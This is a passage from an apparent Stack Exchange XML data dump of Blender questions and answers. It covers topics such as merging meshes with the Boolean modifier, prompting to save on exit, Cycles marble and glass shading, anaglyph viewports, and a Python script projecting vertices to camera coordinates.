LastEditorUserId="599" LastEditDate="2015-11-21T22:58:07.137" LastActivityDate="2015-11-21T22:58:07.137" Title="Lighting and shading Orange juice" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1231" PostTypeId="2" ParentId="1229" CreationDate="2013-06-20T21:36:41.810" Score="8" Body="&lt;p&gt;Instead of directly messing with the Physics parameters, this situation is way easier to handle with ordinary mesh tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can merge your three objects by using the Boolean modifier. First, select only one of your objects, then go to the Properties&gt;Modifiers menu and select the Boolean modifier. In the modifier options, for 'Operation' select 'Union' and for 'Object', select one of your other objects. If you then hit 'Apply', your first object will now have the overall shape of those two objects merged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have three objects, you'll need to do this twice (because the Boolean modifier only operates on two at a time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that the modifier will leave the original copies of the objects in addition to the new, merged version, so at the end, make sure to delete the original objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in the Physics panel, select 'Mesh' as your collision bounds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pYgiY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2013-06-20T21:56:57.123" LastActivityDate="2013-06-20T21:56:57.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1232" PostTypeId="1" AcceptedAnswerId="1233" CreationDate="2013-06-20T21:49:32.623" Score="18" ViewCount="3782" Body="&lt;p&gt;Does Blender have a setting or addon that makes it prompt you to 'save unsaved changes' when you close the window like other applications? I cannot count the number of times I have lost small pieces of my work because I exited the program just to check if I had made any changes.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="12" LastEditDate="2013-06-20T23:26:05.280" LastActivityDate="2013-06-21T14:50:51.080" Title="Is it possible to make Blender prompt to save on exit?" Tags="&lt;customization&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1233" PostTypeId="2" ParentId="1232" CreationDate="2013-06-20T21:50:47.103" Score="13" Body="&lt;p&gt;&lt;a href=&quot;http://www.miikahweb.com/en/blender/svn-logs/commit/44925&quot; rel=&quot;noreferrer&quot;&gt;Yes&lt;/a&gt;, (But only on MS-Windows) open &lt;em&gt;User Preferences&lt;/em&gt; and look under &lt;em&gt;Interface&lt;/em&gt;, you should see a checkbox with &lt;em&gt;Prompt Quit&lt;/em&gt; beside it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZWWnx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Additionally, or preferably you can use&lt;/em&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;U&lt;/kbd&gt; &lt;em&gt;to save it and make it load with your other defaults.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;About Macs:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Closing the app with &lt;kbd&gt;Cmd&lt;/kbd&gt;&lt;kbd&gt;Q&lt;/kbd&gt; invokes the save prompt. Quitting with &lt;kbd&gt;Cmd&lt;/kbd&gt;&lt;kbd&gt;W&lt;/kbd&gt; doesn't. (possible bug?)&#xA;The only indication that you haven't saved is the 'dot' in the red, close-window  button, top left of the window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gUhYT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-21T14:50:51.080" LastActivityDate="2013-06-21T14:50:51.080" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1234" PostTypeId="2" ParentId="1232" CreationDate="2013-06-20T21:51:50.253" Score="4" Body="&lt;p&gt;Also&lt;br&gt;&#xA; &lt;img src=&quot;https://i.stack.imgur.com/KLbWj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that star indicates unsaved changes.&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2013-06-20T21:51:50.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1235" PostTypeId="5" CreationDate="2013-06-20T22:19:04.317" Score="0" Body="&lt;p&gt;Data-viz is more than just an end product of design and data wrestling. By seeing data at intermediate stages of processing we can make educated choices about what algorithms to apply to a dataset. An &lt;em&gt;effective&lt;/em&gt; final visualization of a dataset will be tailored to maximize the impact it has on the viewer. Finding a comfortable mix between informative and aesthetically sound visuals is an end goal.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-21T03:28:06.590" LastActivityDate="2013-06-21T03:28:06.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1236" PostTypeId="4" CreationDate="2013-06-20T22:19:04.317" Score="0" Body="Data-viz (or data visualization) brings together principles of design and analytics to help inform our conclusions about data." OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-20T22:45:32.237" LastActivityDate="2013-06-20T22:45:32.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1238" PostTypeId="1" CreationDate="2013-06-20T23:08:01.213" Score="7" ViewCount="1026" Body="&lt;p&gt;I'm using the script example used in Blender's physics documentation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import PhysicsConstraints&#xA;PhysicsConstraints.exportBulletFile(&quot;Physics.bullet&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that the Y and Z axis appear to be swapped when the data is loaded at runtime by a third party game engine. Is there a way to swap the coordinates before exporting to the .bullet file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this swapping be automated in the script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=fv-Oq5oe8Nw&quot; rel=&quot;nofollow&quot;&gt;A video showing how the script is used&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note, the bullet exporter is not an add-on exporter, but rather a feature of the physics engine module.&lt;/p&gt;&#xA;" OwnerUserId="761" LastEditorUserId="761" LastEditDate="2013-06-22T17:55:15.307" LastActivityDate="2013-06-22T17:55:15.307" Title="Export bullet physics with the Y and Z axis swapped" Tags="&lt;scripting&gt;&lt;game-engine&gt;&lt;export&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1239" PostTypeId="2" ParentId="1238" CreationDate="2013-06-21T00:00:57.320" Score="1" Body="&lt;p&gt;according this post &lt;a href=&quot;https://blender.stackexchange.com/questions/471/is-it-possible-to-make-blender-a-y-up-world&quot;&gt;Is it possible to make Blender a Y-up world?&lt;/a&gt;&#xA;not really, though most exporters have an option to flip it.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2013-06-21T00:00:57.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1240" PostTypeId="1" AcceptedAnswerId="1241" CreationDate="2013-06-21T00:34:58.873" Score="11" ViewCount="6812" Body="&lt;p&gt;It seems to me that the procedural textures aren't render engine dependant, I guess I'm wrong. Does anyone know why this is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to get a procedural marble texture into cycles? (or simulate it in some way?)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="12" LastEditDate="2013-06-21T12:11:28.340" LastActivityDate="2016-01-11T13:14:52.380" Title="Where did the marble procedural texture go? (Cycles)" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1241" PostTypeId="2" ParentId="1240" CreationDate="2013-06-21T01:47:33.197" Score="7" Body="&lt;p&gt;The Wave Texture node has Distortion, Detail and Detail Scale controls that can be used to generate results like the Marble texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The textures are different because the whole shading system is different, we decided to redesign it entirely. Some texturing features from Blender internal are still missing because we haven't had time to add them back, we can't reuse the code directly because everything needs to be reimplemented for Cycles to work on the CPU, GPU and Open Shading Language.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-06-21T01:47:33.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1242" PostTypeId="2" ParentId="1232" CreationDate="2013-06-21T01:53:11.497" Score="10" Body="&lt;p&gt;Additionally, Blender auto saves to a temporary directory every 5 minutes by default,&#xA;(settings located in &lt;em&gt;User Preferences&lt;/em&gt; &gt; &lt;em&gt;File&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also automatically saves a &lt;code&gt;&quot;quit.blend&quot;&lt;/code&gt; file in a temporary directory when it has exited. (This is recoverable by going to &lt;em&gt;Info&lt;/em&gt; &gt; &lt;em&gt;File&lt;/em&gt; &gt; &lt;em&gt;Recover last session&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender even saves backup files in the directory that your file is saved in&#xA;(foo.blend1, blend2) for a more permanent backup.&lt;br&gt;&#xA;See this question for more info on this.. &lt;a href=&quot;https://blender.stackexchange.com/questions/1212/blender-saves-a-new-file-every-time&quot;&gt;Blender saves a new file every time&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of this is default behaviour. &lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2013-06-21T03:42:44.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1243" PostTypeId="2" ParentId="1240" CreationDate="2013-06-21T01:56:14.923" Score="8" Body="&lt;p&gt;In the Cycles rendering engine, both the Marble and Wood procedural textures are merged into a single texture known as 'Wave'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the Distortion and Detail settings to achieve the old Marbles look. One setup to achieve a look like the old Blender-Internal Marble texture is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NYEYF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This returns a texture that looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ypLYT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-06-21T01:56:14.923" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1244" PostTypeId="5" CreationDate="2013-06-21T02:20:41.437" Score="0" Body="&lt;p&gt;The rigid body simulation can be used to simulate the motion of solid objects. It affects the position and orientation of objects and does not deform them.&lt;/p&gt;&#xA;&lt;p&gt;Unlike the other simulations in Blender, the rigid body simulation works closer with the animation system. This means that rigid bodies can be used like regular objects and be part of parent-child relationships, animation constraints and drivers.&lt;/p&gt;&#xA;&lt;p&gt;Viewport Rigid Body Simulation documentation at the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/rigid_body/index.html#rigid-body&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Game engine documentation also at the &lt;a href=&quot;https://docs.blender.org/manual/en/2.79/game_engine/physics/types/rigid_body.html#rigid-body-physics&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt; &lt;sub&gt;&lt;em&gt;The BGE was removed from Blender in version 2.8&lt;/em&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-21T03:57:03.810" LastActivityDate="2020-10-21T03:57:03.810" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1245" PostTypeId="4" CreationDate="2013-06-21T02:20:41.437" Score="0" Body="Questions pertaining to Blender's built-in rigid body physics simulator and rigid body simulations in the Blender game engine. Rigid body physics are used to accurately calculate dynamic motion of non-deforming objects." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-18T20:09:39.177" LastActivityDate="2013-10-18T20:09:39.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1246" PostTypeId="1" AcceptedAnswerId="1250" CreationDate="2013-06-21T03:08:59.490" Score="12" ViewCount="3878" Body="&lt;p&gt;I've been trying to find if there is a way to achieve a realtime anaglyphic 3D viewport. I feel that this would be highly beneficial to a modeller by giving them a sense of depth with their model. I'm talking about one that would use the red and cyan glasses.&lt;br&gt;&#xA;Are there plugins or anyway of achieving this?&lt;/p&gt;&#xA;" OwnerUserId="404" LastEditorUserId="2217" LastEditDate="2016-03-10T17:29:02.950" LastActivityDate="2016-10-20T23:01:58.573" Title="Realtime Anaglyphic viewport" Tags="&lt;3d-view&gt;&lt;stereoscopy&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1248" PostTypeId="2" ParentId="1246" CreationDate="2013-06-21T03:18:53.957" Score="4" Body="&lt;p&gt;This feature is currently in development as an experimental feature. Until it is has been finished, you can download a build of Blender with it at &lt;a href=&quot;http://www.graphicall.org/1005&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it only works in Perspective view, but of course that is to be expected.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="55" LastEditDate="2013-06-21T08:57:58.927" LastActivityDate="2013-06-21T08:57:58.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1249" PostTypeId="2" ParentId="1246" CreationDate="2013-06-21T03:31:20.657" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://www.iz3d.com/select_download&quot;&gt;iZ3D&lt;/a&gt; is a free driver that modifies the OpenGL library in your system to generate on the fly stereoscopic images of any OpenGL enabled application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tested it with games, and is pretty realistic, in fact Need for Speed difficulty dropped to the floor using this driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sourceforge.net/projects/ilstereo/files/?source=navbar&quot;&gt;ILStero&lt;/a&gt; is an open source project, haven't test it yet though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use iZ3D to test you current Blender as is. Without having to built the source, so that you can see how it would improve your modeling skills.&lt;/p&gt;&#xA;" OwnerUserId="761" LastEditorUserId="761" LastEditDate="2013-06-21T03:36:42.133" LastActivityDate="2013-06-21T03:36:42.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1250" PostTypeId="2" ParentId="1246" CreationDate="2013-06-21T04:20:31.103" Score="8" Body="&lt;p&gt;The new &lt;a href=&quot;http://wiki.blender.org/index.php/User%3aDfelinto/Stereoscopy&quot;&gt;Multiview/Stereoscopy branch&lt;/a&gt; by Dalai Felinto supports many stereo formats (including anaglyph) in the viewport. You can find builds for it on &lt;a href=&quot;http://graphicall.org/?keywords=multiview&quot;&gt;Graphicall.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multiview is planned to be integrated into trunk by 2.68 or 2.69.&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="41" LastEditDate="2013-06-21T04:32:09.733" LastActivityDate="2013-06-21T04:32:09.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1251" PostTypeId="1" CreationDate="2013-06-21T05:52:37.300" Score="1" ViewCount="106" Body="&lt;p&gt;Is there anyway to get a procedural marble texture into cycles? (or simulate it in some way?)&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-06-21T12:04:56.673" Title="How to Simulate the marble procedural texture in cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2013-06-21T12:09:18.580" ContentLicense="CC BY-SA 3.0" />
  <row Id="1254" PostTypeId="2" ParentId="1230" CreationDate="2013-06-21T17:07:23.793" Score="7" Body="&lt;p&gt;The SSS material is the one your going to want to use. The reference is showing light scatter. The issue your having is lighting. There's not enough light for that edge to show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I got after a few minutes of experimenting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BNWFA.png&quot; alt=&quot;orange juice render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a large light source has a strength of &lt;strong&gt;10.0&lt;/strong&gt; and I have an environment map in the background. That's what gives it enough light to scatter.&#xA;Here's the scene setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/II7Gn.png&quot; alt=&quot;Scene setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your shader looks OK, but if your interested, here's mine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H5qps.png&quot; alt=&quot;Shader setup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-06-21T19:23:22.357" LastActivityDate="2013-06-21T19:23:22.357" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="1255" PostTypeId="2" ParentId="1226" CreationDate="2013-06-21T17:18:48.213" Score="3" Body="&lt;p&gt;&lt;em&gt;Excuse my technically incorrect explanation. I'm stating this from an artists perspective and don't know all the math behind all of it. :P&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Glass uses a lot of processing power, and there's really not a way to render faster. I can however suggest a few things that will make the glass look better.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;br&gt;More Light!&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This is probably the biggest issue I see when glass looks dark and yucky. Glass refracts/reflects light all over the place. Glass doesn't really hold much color itself. It's mainly just a light-bender. That's what gives it a realistic look.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;br&gt;Use an Environment Map&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;As stated before, glass just bends light. The more types of light it has to work with the better. Environment maps are one of the easiest ways to make glass look realistic. And it's not too much work to put one in the scene.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;br&gt;Set the color to White&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Setting the color of the material will tint the glass with that color, so if you leave it with the default &quot;&lt;em&gt;almost white&lt;/em&gt;&quot; grey, your glass will be darker. Set it to full white to have the maximum transparency.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;br&gt;You do need caustics&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I don't know exactly what they do, but I know it has something to do with light bounces. You need caustics if you want the light to go through the glass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;From &lt;a href=&quot;https://en.wikipedia.org/wiki/Caustic_(optics)&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In optics, a caustic or caustic network is the envelope of light rays reflected or refracted by a curved surface or object, or the projection of that envelope of rays on another surface.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20508" LastEditDate="2016-07-21T01:18:45.393" LastActivityDate="2016-07-21T01:18:45.393" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1257" PostTypeId="2" ParentId="882" CreationDate="2013-06-21T19:32:46.607" Score="12" Body="&lt;p&gt;The new &lt;code&gt;world_to_camera_view&lt;/code&gt; function returns &lt;code&gt;x&lt;/code&gt;, &lt;code&gt;y&lt;/code&gt;, &lt;code&gt;z-depth&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will print out the 2d coordinate list, (no z-depth) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example 1&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy_extras.object_utils import world_to_camera_view&#xA;&#xA;scene = bpy.context.scene&#xA;&#xA;# needed to rescale 2d coordinates&#xA;render = scene.render&#xA;res_x = render.resolution_x&#xA;res_y = render.resolution_y&#xA;&#xA;obj = bpy.data.objects['Cube']&#xA;cam = bpy.data.objects['Camera']&#xA;&#xA;# use generator expressions () or list comprehensions []&#xA;verts = (vert.co for vert in obj.data.vertices)&#xA;coords_2d = [world_to_camera_view(scene, cam, coord) for coord in verts]&#xA;&#xA;# 2d data printout:&#xA;rnd = lambda i: round(i)&#xA;&#xA;print('x,y')&#xA;for x, y, distance_to_lens in coords_2d:&#xA;    print(&quot;{},{}&quot;.format(rnd(res_x*x), rnd(res_y*y)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ytyzmm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can become this: (&lt;a href=&quot;http://tributary.io/inlet/5833573&quot; rel=&quot;noreferrer&quot;&gt;here is a live d3.js&lt;/a&gt; rendering using svg - chrome)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lho6Cm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example 2&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;taking &lt;code&gt;z-depth&lt;/code&gt; (distance to lens) into account (skipping code already present above):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;verts = (vert.co for vert in obj.data.vertices)&#xA;coords_2d = [world_to_camera_view(scene, cam, coord) for coord in verts]&#xA;&#xA;# find min max distance, between eye and coordinate.&#xA;rnd = lambda i: round(i)&#xA;rnd3 = lambda i: round(i, 3)&#xA;&#xA;limit_finder = lambda f: f(coords_2d, key=lambda i: i[2])[2]&#xA;limits = limit_finder(min), limit_finder(max)&#xA;limits = [rnd3(d) for d in limits]&#xA;&#xA;print('min, max\n{},{}'.format(*limits))&#xA;&#xA;# x, y, d=distance_to_lens&#xA;print('x,y,d')&#xA;for x, y, d in coords_2d:&#xA;    print(&quot;{},{},{}&quot;.format(rnd(res_x*x), rnd(res_y*y), rnd3(d)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can generate this kind of information (&lt;a href=&quot;http://tributary.io/inlet/5834594&quot; rel=&quot;noreferrer&quot;&gt;here live svg sample again&lt;/a&gt; - chrome): Using distance to set &lt;code&gt;fill-opacity&lt;/code&gt; of the dots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ay4hMm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-21T22:44:26.897" LastActivityDate="2013-06-21T22:44:26.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1258" PostTypeId="1" AcceptedAnswerId="1272" CreationDate="2013-06-21T19:44:42.573" Score="16" ViewCount="22908" Body="&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As of 2.76 there is a &lt;a href=&quot;https://blender.stackexchange.com/a/34769/599&quot;&gt;built-in option to handle this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In Blender Internal there was an option to turn this off (called &lt;a href=&quot;https://www.blender.org/manual/render/blender_render/textures/types/image.html#image-mapping&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Clip&lt;/em&gt;&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this with Cycles?&lt;br&gt;&#xA;I know you can just scale your textures up with a transparent background, but you end up with textures much bigger than they need to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to this, and if not, why not?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2016-06-07T16:45:53.133" Title="Cycles option to turn off texture tiling?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1259" PostTypeId="1" CreationDate="2013-06-21T20:52:57.860" Score="0" ViewCount="87" Body="&lt;p&gt;I have a project that's 101 megabytes (it's packed).  I need it to be under 100 megabytes to upload it to a renderfarm I'm using.  There are several large image texture files within the project that I know I don't need, but they have false users, so I can't delete them.  How do I get rid of them?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(In the past, I know there was a Shift+F4 data block viewer or something, but that's gone as far as I know post 2.6) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated - thanks guys!&lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2013-06-21T20:52:57.860" Title="How can I delete unused data blocks from my Blender Project?" Tags="&lt;blend-files&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="0" ClosedDate="2013-06-21T20:57:28.260" ContentLicense="CC BY-SA 3.0" />
  <row Id="1260" PostTypeId="2" ParentId="1258" CreationDate="2013-06-21T21:03:53.983" Score="1" Body="&lt;p&gt;Ooh! I just had to deal with this the other day. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?239416-tileable-uv-textures-in-cycles&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?239416-tileable-uv-textures-in-cycles&lt;/a&gt;  &lt;br&gt;&#xA;&amp;amp;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.andreucabre.com/2012/02/multiple-uvs-and-decals-in-cycles.html&quot; rel=&quot;nofollow&quot;&gt;http://www.andreucabre.com/2012/02/multiple-uvs-and-decals-in-cycles.html&lt;/a&gt;&#xA;&lt;br&gt;&lt;br&gt;&#xA;Those are the tutorials that I found helpful.  Unfortunately, as far as I could tell, it's really a longer explanation than can be laid out here, but I found those tutorials only after a dangerous trip to Mordor and back... &#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;Hopefully it'll save you some time hunting them down. Cheers!&lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2013-06-21T21:03:53.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1261" PostTypeId="1" AcceptedAnswerId="1290" CreationDate="2013-06-21T21:31:20.083" Score="31" ViewCount="16796" Body="&lt;p&gt;I really love the look of Blender's built-in GUI, and would potentially like to use these tools in some of my other Python applications. As I understand it, Blender created all of these tools from scratch, instead of inheriting them from one of the other standard GUI packages (wxPython, Tkinter, qt, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do these tools exist as a stand-alone package that I could use, either in addition to or instead of other packages (preferably something as simple as &lt;code&gt;import blender_gui&lt;/code&gt;)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, how could I use Blender's Node Editor setup in another Python application?&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2013-06-21T22:11:56.653" LastActivityDate="2015-11-04T18:20:04.330" Title="Is the Blender GUI package available for other programs?" Tags="&lt;python&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1262" PostTypeId="2" ParentId="109" CreationDate="2013-06-21T21:50:26.917" Score="20" Body="&lt;p&gt;There are a few ways of accomplishing this without the use of the Array modifier that don't suffer from the separate parts issue.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Repeat last command shortcut&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In object mode press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; to make a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication&quot; rel=&quot;noreferrer&quot;&gt;duplicate&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Repeat using the &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Then select them all and preform the previous steps again in the other direction.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Dupli Object/Group&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;When using &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication/DupliVerts&quot; rel=&quot;noreferrer&quot;&gt;DupliVerts&lt;/a&gt; or (the more flexable) &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles&quot; rel=&quot;noreferrer&quot;&gt;Particles&lt;/a&gt;. Not only do you have the option to easily make these real using 